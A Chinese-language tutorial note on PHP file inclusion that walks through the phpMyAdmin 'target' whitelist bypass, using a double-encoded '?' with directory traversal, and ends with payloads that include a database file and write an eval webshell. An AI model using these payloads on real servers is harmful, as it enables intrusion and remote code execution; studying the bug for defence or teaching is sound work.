本地包含与远程包含
文件包含
引用后端代码进行执行
- include() 用到时临时加载(错误后继续向下执行)
 - include_once() 去重
 - require() 先加载,整合到代码中一起执行(错误后不再向下执行)
 - require_once()
 
本地文件包含(LFI) =>  在目标机器上,上传文件马然后包含
远程文件包含(RFI) =>  访问外网的某个文件并包含(allow_url_include=On)
Windows 可以通过 SMB 文件共享 绕过 allow_url_include = On,文件包含的时候通过 SMB 共享文件来包含
cmd小技巧:
可以通过相对路径,先访问不错在的文件夹,再通过../跳出到正确位置

但在拍 PHP 中,? 代表传参,所以写不存在路径时不能写 ?
phpMyAdmin
查找include,寻找可能存在利用点的代码

找到存在可利用点的代码
if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
}
! empty($_REQUEST['target']) && is_string($_REQUEST['target'])判断参数为字符串(不需要考虑)
! preg_match('/^index/', $_REQUEST['target'])不能为index开头
! in_array($_REQUEST['target'], $target_blacklist)不在黑名单里
Core::checkPageValidity($_REQUEST['target'])调用 Core 中的方法
全部为 true 才可以执行
$target_blacklist = array (
    'import.php', 'export.php'
);
黑名单就两个文件
public static function checkPageValidity(&$page, array $whitelist = [])
    {
        if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist;
        }
        if (! isset($page) || !is_string($page)) {
            return false;
        }
        if (in_array($page, $whitelist)) {
            return true;
        }
        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }
        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }
        return false;
    }
对白名单赋值(这里不作展示),要求传入参数在白名单中
$_page = urldecode($page);对其 url 解密(bug)
mb_substr截取(解码后)问号前的字符串
in_array($_page, $whitelist)对截取得的字符串进行校验,看是否在白名单中
综上所述,找到白名单中任意一个,拼接 ? 的两次 url 编码(url栏会自动解码一次),后进行目录穿越到达目标文件即可被 include 包含
在 phpMyAdmin 页面查看数据储存位置:SELECT @@datadir

新建一个含有木马的字段

在白名单里随便找一个:sql.php
payload:?target=sql.php%253F/../../../../../../../../../phpStudy/MySQL/data/ch1/ch.frm&8=phpinfo();

尝试使用file_put_contents写文件
?target=sql.php%253F/../../../../../../../../../phpStudy/MySQL/data/ch1/ch.frm&8=file_put_contents('1.php','<?php eval($_REQUEST[8])?>');


                
            
        
浙公网安备 33010602011771号